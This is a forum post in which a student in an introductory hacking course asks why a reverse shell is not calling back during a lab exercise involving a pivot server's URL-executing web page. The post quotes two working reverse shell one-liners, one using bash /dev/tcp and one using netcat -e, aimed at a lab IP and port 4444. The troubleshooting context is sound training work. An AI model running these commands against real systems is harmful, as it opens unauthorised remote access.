Forum Discussion
Reverse shell task
I am taking an introduction to hacking class and I am supposet do upload a reverse shell file into a website so it gets executed and gives me access.
Description:
Basically I need to create a file which has a reverse shell command inside so I can gain access on a pivot server. I have the IP address of the pivot server and I can access it via web browser on port 80. Thas a website that only accepts url's and says it will execute anything given as an input. Since the next task is to make a reverse shell script and acces the pivot server I am assuming I need to create a file execute it/download it and get the access.
So far I have done the following (check the picture for reference):
- top left: I started a listener on port 4444 to see if the reverse shell connection gets through
- top right: the pivot server website on port 80
- bottom right: the webserver on port 8000
- bottom left: i created a file test so I can can execute it on the pivot website (yoi cant see it on the screenshiot but its there in the same directory the swebserver is running)
So I have checked both the listening and the webserver port and they are accessible, I have used many netcat commands in the file, made it executable, changed extenssions to txt, sh, php with the according script and the file usually download successfuly, but the listener never gets a connection back.
a list of just some of the commands I have given inside the file for the reverse shell:
sh -i >& /dev/tcp/10.102.3.217/4444 0>&1
nc 10.102.3.217 4444 -e sh
The task is asking me to: Use the second pivot host's port 80 service to get a reverse shell
Any suggestion what I am doing wrong? Or maybe I am missing something
Thanks in advance, feel free to ask any questions
Cheers